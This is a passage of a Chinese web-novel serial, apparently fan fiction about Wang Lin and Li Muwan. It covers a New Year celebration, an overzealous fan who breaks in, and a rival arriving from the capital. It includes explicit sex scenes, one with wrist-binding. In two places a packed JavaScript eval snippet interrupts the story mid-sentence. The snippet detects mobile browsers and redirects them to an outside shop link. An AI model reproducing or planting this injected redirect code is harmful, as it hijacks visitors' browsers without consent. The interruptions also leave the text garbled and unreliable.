李慕婉握着笔杆,王林大掌则握着她手,气息贴耳:“婉儿可想好这春联写什么了?” 她磨了墨已经想了片刻,也没思虑好。 “我写一副,婉儿再接一副可好?”见她不知从何落笔,王林引着她。 “好。” 手臂被他的力量带着走,红纸上落着“爆竹声声除旧岁,梅花几点迎新春”。 “婉儿来。” 李慕婉思虑须臾,行云流水下笔,大字跃然纸上,“岁岁平安节,年年如意春”。 “婉儿字好。”王林拿起红纸两端细细端详,干透后一副贴过堂屋,一副贴在院门前。 除夕夜宴,下着细细碎碎的雪片,李奇庆冒着 风雪从镇子赶来,只为赴王家的宴。 酒盏满上果子酒,他举杯爽朗贺道:“愿周婶王叔福满康健,王林与小妹恩爱不疑。” 王家人举杯连连称笑。 “来年,小妹再给王家添丁,到时间哥哥也能当舅舅了。”果子酒入喉,辛辣后是甘甜。 “哥,”李慕婉红了脸,手肘碰了碰,余光瞟了一眼王林,“你好好说话。” “承兄长吉言。”王林却之不恭敬了一杯,目光却落在她身上,打量着她的娇羞模样。 晚宴结束后,王林拿了那副棋盘与李奇庆对弈,王天水与周英素包着明日的饺子,时不时望着几人谈笑。 王林给李慕婉带了一架古琴回来,他原是不知李慕婉会弹琴,还弹得音音细韵。 也是那日县里她在琴房奏的一曲,他决意把那把琴买了下来,李慕婉抱着琴高兴了好几日,自那以后白日的竹林小院总是泛起琴音。 哥哥与王林对弈,她便在一旁抚琴助兴,堂屋暖热一团,屋外风雪交加,琴音悠扬婉转,好似要与那凄厉的厮鸣较量,声音盖过一浪又一浪。 深夜后雪停了,李奇庆坐马车赶回镇子。子时村子里烟火声骤响,天际泛着光,爆竹声不断,家家户户灯火通明。 西厢房内烧了碳火,书案前,王林捧着本书还在看,李慕婉手里的笔蘸着墨汁,思虑中见王林看书看得入迷,忽的她脑中闪过一缕想法。 手中的笔刷轻落在他鼻尖上,王林敛眸应了应她,却未瞧见是何物碰的自己,视线又落回书上,只见李慕婉趴在桌上打量着自己,唇角牵着若有似无的笑意,笑里带了难得的捉弄。 王林眼角瞥着她手臂挡下的砚台,了然于心,却在李慕婉看不见的须臾,透出一股坏笑。 “婉儿,”王林手里翻着书页,认真说,“有些凉,把窗关了吧。” 李慕婉抬眼望去,窗还支着,她提起裙摆乖乖放了窗,又坐回原位。 王林指着书上又道:“婉儿,可看过这篇文章?” 可他并未把书朝自己靠近些,李慕婉闻言起身往他怀里挪了挪,心里还得意着他未发现自己的作案痕迹。 “哪篇?”她探头问得诚恳。 “过来些。”王林若无其事地给她捞到身前,搭在腰间的手未挪动,好似随时防备着她会逃。 李慕婉并未察觉势头不对劲,可劲儿往他怀里钻,贴着他。 “好玩吗?”王林贴着耳侧说,“婉儿喜欢这么玩?” “什么?”李慕婉惊厥,想躲,王林手臂用力,给她抬起整个人换了方向,正对着自己。 方才那语气明明是挑着坏的,可她再看他那神情,什么都没有,平静得似一汪死水。 “你方才说什么?”李慕婉还带了些希望,是不是自己想多了。 王林不作声,低头鼻尖蹭在她衣领上,而后漫不经心道:“婉儿的衣襟,脏了。” 李慕婉低头时,感受到指尖的凉意,他的手已经解下衣领,脖颈和肩甲处的白皙仿若一块玉盘,触到时是滑的,可他仍是一副坐怀不乱的君子模样。 “换一件吧。”王林平静道。 “阿兄,婉儿自己换。”李慕婉要起,又被扣住了。 “不急,”王林满是平和,慢条斯理地拿起一旁的笔,蘸了少许的墨水。 “阿兄,你这是做什么?”李慕婉防备着,只以为他也要在自己脸上画,挣扎着,可身前身后都无处可躲,只能委屈地望着他。 “婉儿不是喜欢这么玩?”笔锋却落在锁骨处,李慕婉打了个颤,“别动。” “阿兄,婉儿错了……” 王林置若罔闻,细细点着墨。 目之所及白得宛若一张纸,笔锋描着轮廓,从锁骨往下,直至沟沿上,是一根莲花根茎,笔尖轻触碰时,痒意难耐,她只能仰着脖颈忍受,“阿兄,你在婉儿身上画什么?” 王林很是专注,良久一朵栩栩如生的莲花落在她左肩甲处。 搁了笔后,王林才愿意松手,墨还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023615|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干,他隔空沿着她前胸的莲花描着轮廓,“婉儿还要画吗?” 李慕婉望着胸前他的手臂,羞赧极了,语气却带着质疑,“阿兄,你怎得如此放浪?” “书生不是最该循规蹈矩,怎得能在婉儿身上作画......” 王林挑着笑,轻捏起她下巴,“婉儿不是听了谢三婶的话?” 那两个字,荡在她脑中,原是他记住了。 待墨干透了,李慕婉身上的新衣也褪了,窗外新年的爆竹和烟火声渐小,矮榻下几件衣裳胡乱铺着,书柜前落了只绣花鞋。 李慕婉双腕上缠着他的发带,又被他举过头顶,整个身躯在他视线之下一览无余,那朵胸前的黑色莲花绽放着,李慕婉面颊绯红,几经被他揉捏着,任他摆弄,依着他。 新做的床板是要结实许多,也不会吱出过分的动静,可她忍不住,手也被禁锢了,捂不住声音,便只能一声声闷闷唤着。 混乱过后,那朵莲花已不成样,乱糟糟的,王林撑起身躯挂上中衣,健硕的胸膛还淌着些许密汗,指尖都是墨色污渍,李慕婉侧身望着他的背影。 瞧他王木盆倒了些热水,又浸湿干帕,拧干后往矮榻挪去,见她那可怜劲儿,委屈的瞧着自己。 “能解开了吗?”李慕婉眨着眼问。 “待会儿。”王林噙笑,并未要解的意思,只是将热帕往污渍里擦拭,怕她疼擦得并不算干净,还剩些痕迹,过几天就落了。 “这不好擦。”李慕婉提醒他。 “我知道。”王林轻声,朝若隐若现的余痕吻下去,缠着的手腕给她解开了,“辛苦婉儿了。” 正月初一,王卓从县里来了王家村,几人在花影家喝了些小酒,李慕婉微醺之态,回的时候是王林一路背着回来的。 田野的风吹得凉,他脱了长袍给她裹在里边。趴在他背上不知呢喃了几句什么话,王林听不清,喝醉的她话不多,就是不记事。 回到竹林小院,王林给她擦了脸,又喝了些热茶,李慕婉昏昏沉沉的没多久便睡着了。 只是第二日醒来时头却很重,似睡了很长的一觉。 王林卯时便起来挑水,李慕婉抻腰转在小院里,水缸盛满了,王林擦了把额汗回去西厢房,余光里打量着檐下的身影,似乎要等她说话。 李慕婉欲言又止,明明心里知晓她想问什么,偏就不提,叫她自己开口。 “阿兄。”李慕婉跟在身后,替他拿了干净的衣袍,“昨夜我们是几时回来的?婉儿怎得都不记得了。” “你喝酒了,自是我背你回来的。”王林换下衣袍等着她手里的衣裳拿过来。 “你背我回来的吗?可婉儿什么都不记得了。”李慕婉上前替他更衣,抚平衣领处的褶皱。 覆在腰后的掌心扣着她贴过自己,“我知道。” “知道什么?”李慕婉一头雾水,被提起时脚尖微微踮着。 “你喝醉了,不记事。” “阿兄怎么知道?”李慕婉思索着,她从未在他面前喝醉过,哪怕是大婚之日。 “上京前,践行那晚,”王林挑着笑,还在试探,“婉儿不记得了?” 李慕婉回想着,只知那晚所有人都喝醉了,其余再无印象。 “婉儿还是跟以前一样。”他话只说一半,收着她的反应。 “什么一样?” “喝醉了喜欢亲人啊。”王林提步子压着她,李慕婉心慌,后退着,直到抵住了墙角。 王林闪过那晚她的主动,似要把丢在戏楼里的那份诚意补上给她。 “你,你说什么,婉儿何时,何时喝醉了亲人,亲什么人?”他身上热气越发重了,近得眨眼时,睫羽触着她面颊,那被情愫裹满的双眼直直盯着樱唇。 王林不作声,知道她想不起来,可他记得,一直记着,在那京城备考的日夜,每个转辗反侧的夜里,都似在触着那股温热的柔软。 她被盯得心慌,抵着王林想躲,手腕被擒住了,禁锢在身后,王林压着身躯,“婉儿不记得无妨,我都记着。” 那一吻很轻,轻得让李慕婉失去了力气,他只是贴着自己唇瓣良久,并没有平日情深的浓厚和索取。 王林退开后轻捧着她面颊,满是柔情说,“践行那一晚,婉儿酒醉后的一吻,我从未忘记。” 李慕婉这才知晓,那时自己做了这么荒唐的事,只是,只是他记得,怎得却仿若无事发生,而今才告诉自己。 “我,我怎知,你是不是诓我的。”李慕婉面色绯红,王林放了她,不想承认无事,“那婉儿记得这个就好,这是回以那晚欠下婉儿的回应。” 说罢,他转身拿了腰封若无其事系上,李慕婉愣在原地许久,许久。 45.莲池 正月初,院里的白梅开得好,村子都在挨家挨户拜年,王林与李慕婉一同去了花影家,谢三婶见着两人过来,忙招呼着入屋坐。 谢三婶话密,与王林问了许多县里的事,还拖他若是书院里有好的先生,可把花影介绍相看。王林最不会处理此等事,只是点头附和几句。 李慕婉在一旁陪笑话也少了些,若是平日她自己一个人来,还有村里几个婶子,她也会插些话。 在花影家坐了没多久又去了王浩家。周英素与王天水也在堂婶家拜年吃果子。待到日中在王浩家用了饭,王浩拉着王林谈事,李慕婉闲着与二老先回了竹林小院。 暖阳照着院子,年前都在下雪,院里的雪化开了,红绸挂在海棠枝上,红白相间。 李慕婉趁着天气好,原先那些药材由竹筛装好铺在茅屋上,还有王林房里的那些书,白梅树下的竹几尚能摆放一些,院中日光照着身上暖意横生,李慕婉索性坐在那翻起了话本。 光影斜过海棠枝时,身影慢慢垂下,就着竹几趴了上去,广袖铺在案几上,小脸枕着话本,白里透红的肌肤赛过盛开的白梅,呼吸匀称,发丝铺满薄背,随着起伏的气息微微晃动着。 院墙外有踩过枯枝的声音,王林刚入院便瞧见案几上睡着的人,虽说暖阳笼罩,可到底是冬季,空气中弥漫着寒气。 他步子迈得轻,走到李慕婉身侧缓缓蹲下,伸着脖子看她露出的小半张脸,鼓着腮,红唇微张,气息平稳。 王林见案几还摆了几本书,被她枕着的手臂下也压了几本。 李慕婉睡得熟,身躯被双臂环住时都未察觉。他贴耳温声自顾念着:“寒冬腊月的,怎么在这睡着了?” 膛前的人没有动,王林端详着精致的五官,如冬日白雪上精心雕刻的美玉,指尖轻抚过她发丝,目露柔情,宛若要把人暖化了。 等了片刻李慕婉还不醒,院里渐起微风,他双臂紧锢,索性直接横抱起人。李慕婉被惊醒,撑着眼张望,看清王林后也没躲,只是双臂挂上他脖颈,往怀里钻了钻:“阿兄,回来了。” “院里冷,回屋睡。” “书,书还晒着呢。”她扭着头往案几指了指。 王林径直朝屋里去,后半日西厢房的日光晒进来,他开了半扇窗,窗台下新插了几支白梅,李慕婉又睡了回去,王林没走,挨在榻前独自翻起一本书。 正月里王林都待在王家村,陪她炼制丹药,一起晾晒草药,下棋抚琴,看书写字,浆洗做饭,不论去哪,她都跟着,村东头挑水回竹林小院的小道,村里人总能看见两人出双入对,形影不离。 **** 京城礼部尚书宅院,李秋池捧着话本倚在贵妃椅上,盖着一张狐球大氅,光影斑驳落在话本里,她心绪飘远,身前跪了两个探子装扮的人。 “去岁他离京后,我瞒着父亲派人搜寻踪迹,他户籍是在长乐县,这话本所出之处也是长乐县,《逆仙》上所署名者为林婉?”李秋池若有所思说,“王林?那婉是?他所说的妻子?” 跪着的探子回道:“此话本确是那王林所写。” “曾经的探花郎,翰林院学士,甘愿放弃京城大好前程,归隐乡野,做这九流十家,当真可笑。”李秋池一副惋惜之状。 “尚书大人有令,不让大小姐再与这王林有任何关系,大小姐多番暗中查探其行踪,若是大人知晓了,恐怕……” “慌什么?”手里的话本被掷在一侧,“我要去一趟长乐县。” “什么?”侍女不可置信,京城到长乐县路途遥远,且不说李元朗是否同意,这凛冬还未散,一路上必然难行。 “若爹问起,只说我去散心,爹爹不会不让。”李秋池吩咐道,“你们收拾收拾,两日后便启程,到了长乐县也该开春了。” 自王林辞官回乡后,李秋池得知王林在御前求了赐婚,天之骄女的她自是不甘愿被比作人后。 而王林所写的话本流传至京城,旁人自然不会知晓这名动一时的话本是曾经的探花郎所著,她在那话本里找着他的身影,上元节的惊鸿一瞥,至今驻足于心,经久不忘。 他的冷漠孤高,却成了她日夜往复,挥之不去的执念。 从未有人把她视作泥尘土,不屑一顾,唯独他王林。 *** 出了正月,王林又去了县里,书院的课不多,大部分时间都待在书铺里写书。他在书院所讲学之道与人不同,颇受学子喜爱。也会有外县的人来请他去传授讲道。 凛冬夜间的街道寂寥,一出去讲学便要好几日,故而回王家村也少,李奇庆的药铺做得大,把旁边的铺子一并盘了下来,李慕婉的丹药放在药铺里销买,经常都是供不应求。 王林的家书里叮嘱她莫要过于操劳,李慕婉除了炼丹便是研习医书,打理院里花草。 开春了,百花盛开,她放在院里花草的精力也多了些。 夜里王林把新的稿子写完准备下榻,吹了烛火却如何都睡不着,脑子里念着李慕婉,似有孤枕难眠的意思,那小像搁在床头,被他珍惜着。 寂静中忽闻窗外有撬锁的动静,门栓被细物撬开,想必是入室的贼人,王林侧耳倾听,并未出动静,月色下,一道斑驳的身影朝室内张望许久,确认无人才小心翼翼踏进来。 只以为是为财,又不见翻动柜子的声音,倒是书案前的话本被频繁翻阅。 难不成是冲着他话稿来的,一道虚影破了屏风,落在贼人跟前,王林身影缓缓移出,声音凛然:“什么人?” 那人见状行迹败露,见机要跑,王林长腿一扫,一张矮凳横飞过去挡下去路,直直打在他□□。 只见那窃贼扑通下跪又连忙要起,不等王林反应,他从衣袖拔出一道白光,光影闪过王林双目,趁他避开之时,贼人见状要溜。 迅雷不及掩耳之势,案桌茶壶腾空而起,击中 贼人后脑,倒地难起,他慌忙撑着手如见鬼魅一般。 王林幽幽踏出门槛,漫不经心打量着:“谁让你来偷话稿的?” 贼人不说,眼睛瞟着他处。 王林冷冷威胁道:“再走一步,死。” 那人迈出的步子僵在半空,抬也不是,不抬也不是。 “小的许立国,是先生的话本《逆仙》的书迷,深夜造访,并非窃取财务,还请先生高抬贵手。” 王林眸光一凛,“造访?翻窗造访么?” 许立国跪在冰冷的地板上,声音颤得不止:“先生息怒,小的乃是云游江湖的游人,一生所向往之事便是修仙成道,可奈何灵根不盛,只能闯闯江湖,逍遥自在。先生所著《逆仙》笔下的青木,意志坚定,重情重义,杀伐果断,心思缜密,实乃许某钦佩之人。” “只是……”许立国偷偷打量着王林反应,“只是先生第三卷更得太慢,小的实属无奈,才夜闯贵宝地一解心中难耐。” “你既知晓我的住所,又为何不趁我外出时潜入,而是逢我在时造访?”王林半信半疑。 “也来过。”许立国小声嘟囔,王林不在时,他来过几回,自然是看了那话本故事进展,倒也没有到处宣扬。 王林之所以未发觉,是许立国未留下蛛丝马迹,今夜胆敢顶风作案,确实如他所言,他闭眼都是青木修为闯练的进展,实在无法入睡,故而才壮胆夜探此处,不料他一届书生,拳脚却好。 “夜闯民房,可知律法何罪?”王林俯视着他,目露凶光。 律法?他行走江湖小偷小摸之事倒是做过不少,要是去了官府…… 许立国慌张解释,“小的并非图财害命啊,先生饶命,先生饶命。” 月色下长影深幽,王林一言不发。 “先生若高抬贵手,小的愿侍奉先生左右,做先生书童,任凭差遣,绝无怨言。” 一个江湖客,向往修真界修仙之路,过于狂热也能理解,可他不知其底细,断然不敢留在身侧。 王林没有答应,只是森冷道:“滚,再敢闯一次,灭了你。” 许立国闻声拔腿就跑,就是那受伤的腿跑得并不快,想想他闯荡江湖十几年,名声在外,而今叫一个书生收拾得夹腿就跑。 可许立国也不是善茬,连着几日,日日都到书铺里游荡,也不闯他住所,见王林回来便捧着话本倚在他门前的树枝下朝他恭敬颔首。 只要他不招惹自己,王林也不为难他。 一连半月,许立国都徘徊在书铺外,也不知他用了什么法子,在书铺寻了个书童的活,每日招呼前来看书的书客,还绘声绘色的讲着话本里的情节,引得书客流连忘返。 王林偶尔几次来寻掌柜,听得他所诉之言,颇有见解,与自己想表达的人物极为契合。 王林从书院回后,又见他倚在门前,余光冷意穿刺着寒风:“你有事?” “小的无事。”许立国讪讪笑,欲言又止。 王林也不再理会,关了门。 日渐久远,王林探得许立国没有歹意,当真只是出于对话本故事的喜爱,也逐渐接受了他的存在。 许立国殷勤,给他备笔墨又添茶水,王林一开始不适从,冷漠道:“你是掌柜的书童,不必来伺候我。” 许立国之所以留下也是因为他,在书铺做活不过权宜之计,他脑子灵活,点子也多。身上透着一股子江湖气,面对王林却不见他的英雄气节。 即便王林嘴上不要他伺候笔墨,可每次许立国备好他也没有多言,除了想看稿子外,也没别的心思,王林就留下了他。 许立国左一句主子,右一句主子,王林只觉聒噪。 *** 李秋池从京城坐船入清平镇,在原先书屋里打听到了王林所在,只是他已不在镇上写话本,而是去了县里,她又打听得王林住所,从清平镇到了长乐县。 李慕婉已有月余未见王林,早早从王家村赶路去了县里,而且并未在家书中提及要来,王林刚从书院回来,却见李慕婉坐在书铺里,许立国殷勤献上茶水,与她闲聊着。 “主母喝茶,这个时辰主子也快回了。”许立国眼神打量着她,“主子说自己有媳妇,可没说过主母长得这般好看,小许子闯荡江湖多年,阅过美人无数,都及不上主母一分。” 李慕婉微微颔首,不知王林何时收了个书童油腔滑调,依着他性子不会允许此人跟在身侧才是。 “你叫许立国?”李慕婉审视着他。 “主母唤小的小许子就行。” “你为何要做我夫君的书童?” “主子英明神武,才华横溢,最最最重要的是,他写的一手好修仙话本,小许子可是主子的一等书迷,里边的故事我能倒背如流。” 许立国说不停,瞅着王林从街上远处走近,“主子回来了。” 店铺门外人群熙攘,他长身玉立在人群中格外出众。李慕婉寻视而过,视线锁定他,搁了茶盏略过许立国,往书铺外去,也不叫人,就故意挡在他前路。 王林垂首思索着,也没抬眼,却又见那裙摆有些眼熟,跟着他绕开的位置又挡了去。 他这才抬头看人,李慕婉一张面容落在他眸底。 “婉儿?”王林骤然抱过她,众目睽睽之下,旁若无人的将人埋入膛前,“你何时来的?等了许久?” “阿兄,我有些呼吸不了了。”李慕婉被锢得紧,挣扎几下。 他这才松了些,又没舍得全然放开,声音都是惊喜,“婉儿来查我的?” “我想阿兄了。”李慕婉注视他。 “主子可算回来了,主母等了半晌,书铺里的书都看好几本了。”许立国不合时宜地打断二人叙旧。 王林斜了他一眼,长臂绕了一圈,遮住了李慕婉没让他看。许立国随即噤声,侧了身。 人群里却有双窥视的眼睛正往这里探。 “进屋去。”王林牵着人入内。李慕婉卸下包袱,紧紧搂着他,贴着结实处,是他的气息。 “阿兄好久未回,娘做了酱牛肉,婉儿给你带来。” 王林爱怜得抚着她发鬓,她身上是暖的,早春仍是冷,他自己身上裹了层寒意,都被李慕婉驱散了。 “婉儿,我好想你。”清晰的轮廓慢慢陷入她颈侧,窗还是半开的,情动的二人全然忘了外界纷扰。 相拥着彼此融化着久日的思念,二人又谈了许久话,都是李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032898|144902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕婉的关切之言,王林撑着头细细听她道来。 “院里的海棠花开得好,婉儿折了几支一并带了来。”她寻着包袱,却不见花枝,思索起来是落在书铺里了,“阿兄等我一等。” 不等王林说话,李慕婉起身出了房门,一阵清风徐来,鼓动起她的碎发,月白水蓝拼接的广袖和裙摆飘起,如一朵青莲婉约。 远处注视的人这会看清了王林适才怀中人的模样。 细长的指尖嵌入绣帕里,咬着牙,神色含着望不尽的敌意,“李,慕,婉。” “小姐,李慕婉怎会在此?而且方才那王林亲近之人是她?”侍女满眼疑惑,“当初他拒绝大人的联姻之请,信誓旦旦说家中已有妻室,难不成就是李慕婉?” 立在檐下的李秋池双眼泛着猩红,眼神阴狠,透出的恨意宛若千株藤蔓缠绕,就连身侧的侍女直感背脊发寒,绣帕丝线绽裂,熊熊烈火滚过双眸。 “李慕婉!她竟然还活着。” 许立国见她又回来了,问道:“主母这是?” “我的花。”李慕婉扫了一圈。 许立国利落的给她拿过来,小声与她道:“主子平日沉默寡言,冷冰冰的,小的难得见他笑,适才他见着您,笑得可不值钱了。” 李慕婉掩笑,这她自然知晓。 拿了海棠花她便回了偏屋,把他花筒上的花换下,重新插上海棠,置于窗台下。 “阿兄,你这些花哪来的?”李慕婉回眸看他。 “书院里摘回来的。”王林声音轻柔,满目柔情。 她倒是想不出来,王林手里拿着花从书院走回来,人群熙攘,他倒也不在意旁人目光。 海棠花影落在她脸侧,他念着那新置办的宅子,院里那方池子养着几株莲,还是特意寻了花匠培植,早春本没有莲,要违季节养出来得费不少心思。 “婉儿这次可要留宿?”他话里略有试探。 以往王林都是主动哄着她留下的,这一次却寻问她意见,李慕婉心细,反问道:“阿兄要留婉儿吗?” 王林起身搂过她,“新宅的池子养了几株莲花,婉儿可要去看?” “莲花不是开在六月吗?”李慕婉问道。 王林轻笑一声,带着李慕婉的疑惑,出了屋子。 日暮前夕,街道人流渐少,夕阳下,暖光笼着二人远离街道的身影。直到被人流掩盖,那暗处的目光才收回。 月色挂空,新宅莲池罩着银色,李慕婉走进莲池,池子漫着雾气,并非是普通的水池。 她回眸看着王林,“这是温池。” 王林默认,可是李慕婉有疑惑,温池上怎么长出莲花呢。 四下点了烛火,微风过时,荡着纱幔搅动,李慕婉只觉不是那么简单,不知为何,身后气息贴过来,指尖潜入她的衣领,李慕婉身躯不由微颤,她这会是明白了他带自己来此处的用意。 “身上凉,这温池的水是地底冒出来的,”王林说罢打横抱起人,“婉儿,可还喜欢?” 王林踏入池子,温池没过膝盖,热气笼过全身,把疲惫驱散了。随着他的动作,池水逐渐掩过她胸前,水面几朵莲花漂着,李慕婉身上只剩下件亵衣,王林敞着上身,线条游离着水珠。 烛光点着微亮,李慕婉捧过一株青莲,靠在池壁的人静静端详着她,身后的目光过于狂热,她转回身往池壁去。 王林伸手搭着水下的细腰,蒙雾覆着一层氤氲,把原本的情欲都遮了,唯独露出春光。李慕婉拿着那株莲举到他眼前,“阿兄,这些莲花是你栽的吗?” “喜欢吗?” 李慕婉点头,“喜欢,可是放在池子里,它们岂不是......” 话音未落,红唇覆盖,身上气息扑面而来,把她要说的话都吞尽了。 “岂不是什么?”王林一本正经问她。 李慕婉很是认真接着话,“岂不是要......” 旋即,话音又断,王林再次覆上唇瓣,吮吸着,雾气把人围在迷雾里,朦胧中腰被抬起,春光露出水面,抵着结实的胸膛。李慕婉要挣扎,王林好说话的松了手。 “阿兄,你等我把话说完。”李慕婉喘着息,后仰几许。 王林眼神涣着迷离,不太像有耐心的,气音沉重,“婉儿想说什么。” 也没等她继续说,脖颈处一股轻微的咬疼,齿痕沿着颈侧,软舌转在耳根,痒极了。 李慕婉肩头后缩,躲着要走,身后所他手臂笼起的墙,李慕婉躲不掉,只能落在臂弯里,娇小的身躯被宽背遮得严实,热气不断萦绕,肩甲处是红的,他额间的细汗冒出,腰腹上的掌心温度与池水相容,一股霸道的力量带着她。 雾气缭绕,闷哼不断,她贴着坚固,池水很热,李慕婉鬓间夹了汗,不知是池水浸泡出的,还是起伏中逼出的汗。 王林大掌抓着肩头上放的脚腕,低头时见着交缠处映在水底,腰累极了,她受不住。 烛影下,他身上几块结实处落了齿痕,靠着池壁的背缓缓后仰,池边水浅,躺下时还能露出半个身子,李慕婉坐在腰腹上,双手抵着胸膛,他那双眸子直勾勾地把人盯穿了。 “婉儿,来。”王林起身,扣着她后脑,俯身吻了下去,池面荡着潮浪,夜空星光点缀,纱幔挑起,李慕婉躺在水池边,王林拖着她脖颈,一手撑着池底,背部的抓痕在昏暗中若隐若现。 金针刺破桃花蕊,彼此的气音肆无忌惮地高高回荡在池中。竹林小院净房小,容不下两人,也不方便,这事他心底念了许久,新宅只有二人,谁都没忍着。 “王林。”李慕婉喘息急促,唤的声音也渐渐急促,每一声都摄人心魂,就在这声声低语中,他迷失了理智。 李慕婉这会才觉,这温池是给他自己备的,而非自己。 阵阵急促散尽,王林靠在池壁,身前贴着瘫软无力的她,撑在身后的手臂绕过她肩头,温柔抚着浸湿后的发丝。面颊上的余热还在,王林朝那红晕点缀,双眸的情愫淡去。 几株莲花还飘在水面,王林抬手拿了件外袍,裹在李慕婉身上,起身时身上挂着水流,干燥的青石板落了水滴,悄无声息地吸入。 46.冒昧 李慕婉在县里同王林住了两日便又回了王家村,王林接连几日都在书院讲学,天色暗下后才回的书铺。 许立国心里藏了事还犹豫要不要与他讲,王林也察觉出他的异常,凛然问道:“何事?” “主子,小的发觉这几日对面茶铺总有人盯着咱们这,”许立国笑了笑说,“该不会也是打咱们话本的主意吧?” 夜风卷起,吹着那窗台下枯萎的海棠花,王林没舍得换下,屋内焚着提神香,若有所思道:“盯着人。” “好咧主子。”许立国擦掌很是谄媚,“主子,下一话您什么时候写啊?小许子已经迫不及待了。” “聒噪。”王林闭了闭眼,“出去。” 许立国掩了门,烛台下他望着那支海棠木沉思,对面铺子早已打烊了,街外是黑漆漆的一道,没有动静。 不知来者何人,是何目的。 翌日熹微,王林支了窗,漫不经心瞟了一眼对面的茶水铺,今日他没安排讲学,辰时三刻起书铺的书客就已络绎不绝,茶水铺也开了门,一直到晌午后,王林从偏屋去了书铺柜前。 掌柜恭敬地鞍前马后,“王先生来了,那下一话您什么时候写好,您看这些书客大早就等着了。” “如期给稿,我什么时候拖过了?”王林淡淡道,视线却窥着另一处,“许立国。” “小的在。”正与人大刀阔斧吹嘘的许立国提溜上前,“主子有何吩咐?” “去对面铺子订一桌茶水。”王林负手转身,长褂腰间坠着一个云纹荷包,身形挺拔。 “好咧。” 茶水铺小二认得王林,都知晓他是书院的先生,很是敬重。忙招呼着人入内,王林若无其事地打量周遭,却没见着行迹有疑之人。 只是东厢房帘子隔开了,里边炉子煮着茶,看不清人,王林使了眼色,许立国即刻会意:“掌柜的,这东厢房的是什么客人啊?” “哦,一位外地来的小姐,听她家女使口音像是京城的。” “每日就只来喝茶?”许立国道。 “书铺人多,女使给了店里小二银两,去书铺买了几话话本,一坐就是一日。”掌柜说时还朝那方向望了一眼,“银子没少给,咱们小店也是沾了书铺的光了。” 京城来的某家小姐?王林心里暗自思忖,他所认识的除了周紫虹便是李秋池。 若只是为话本而来,倒也不必日日坐在茶水铺子里,似在等什么人,又或许意不在此。 多想无益,倘若是因他而来,他已远离京城再无纠葛,可也担心是因着李慕婉而来。 “许立国,”王林坐下东边临窗的位置,“去请。” “啊?”许立国愣住,竟然觉得他此举也过于冒昧了。 他不是拖泥带水之人,是何目的,一探便知。 等了多时,东厢房帘子挑起,两个着装富贵的丫鬟出来立于门侧左右,李秋池款款踏出房门,眼帘微抬,却已见那东窗下的少年英姿,与那夜上元节画舫所见之人如出一辙。 王林始终未抬头,李秋池及近后,朝那身影欠身,“王林,好久不见。” 王林吃了口茶,视线往外看时落在自己那间屋子,开门见山道,“李大小姐远道而来,恐怕不只是为了看几话话本吧。” “你从京城辞官回来,就只是为了写话本吗?”还是她熟悉的那副孤高,李秋池说,“你不惜代价向陛下求了赐婚圣旨,只因为她吗?” 果然,王林猜想有了验证,那轻描淡写的眸光散去,随之而来的是一股阴寒。 “你口中的她是何人?”王林试探道。 “你御前求娶之人,不正是当年京城出逃的李慕婉吗?”李秋池自顾落座。 “出逃,”王林轻嗤,“据王某所知,当今圣上已赦李氏兄妹无罪,不知出逃是从何说起。” “难不成逃的并非皇家斥责,而是某些人的背后逼迫?” 李秋池微怔须臾,又镇定说:“王林,你是如何识得李慕婉的?” “与你何干?”王林眼神阴鸷。 “当初要你与我李家联姻也是父亲之意,”李秋池柔声,“此番来也并非有意痴缠……” 李秋池顿了片刻,见王林没有反应,又继续说:“我听闻你在御前辞官时,求了赐婚。应当要恭喜你才是。” “你离京后,父亲也曾要与我商谈婚事,可我心里始终无法忘记上元节画舫上那个人。” 说完她还小心翼翼查看王林反应,王林神色淡然,岿然不动,未作一丝回应。 茶水铺里荡着小二招呼的声音,炉子煮的水沸腾,冒出热气,让人有些看不清,可王林却无比清醒。 李秋池声音落寞,“知道你在长乐县,想来看一眼让你宁愿放弃仕途的人到底是什么样的,如此我也甘心了。” “若只是如此,王某告辞。”王林起身拱手,神情淡然,却始终未正眼瞧她一眼。 越是这般冷漠,李秋池越发难受,王林身影出了茶铺,许立国也跟着出去,绕在他身侧念叨:“主子,那女子在此处周旋几日,恐怕不只是想要见一面那么容易,自古女追男隔层纱,要不小许子还是给她弄走吧。” 王林倪他一眼,“聒噪。” 不过想来许立国之言并非没有道理,李秋池那般锥心之言,若换作旁人实乃难以抵挡。 之后李秋池也并未离开长乐县,隔三差五明晃晃地去了书铺,偶尔王林进书铺时,却装若不识一般。 王林也没多理会,反倒是许立国抱臂立在一旁打量着,幽幽道:“这又是什么招数?欲擒故纵?可我家主子那小煞星除了对主母,其他女子一概不放心上。” 王林回到偏屋后坐在案台要给李慕婉写家书,宽袖摊在案台上,蘸了笔墨准备落笔。却闻有敲门声响,这个时辰只有许立国会来。 他没多想,“进来?” 木门轻开,屋内光线照进来,又一道身影遮盖,他没抬头,“何事?” 只听步子轻盈,不像许立国的,王林还未抬眼,那人率先出声:“想不到你这屋子还怪雅致的。” 屋内点了提神香,她闻着熟悉,一股似曾相识的感觉绕过心头,“这提神香是婉儿炼制的吧。” 王林闻声眉心蹙起,有些不耐。 “从前在百松书院时,有一门制香的课,先生都夸她功课好,偏就她对药理钻研深透。那时她便炼了提神香,也赠了我一些,味道还是差不多。”见他未下逐客令,李秋池接着道。 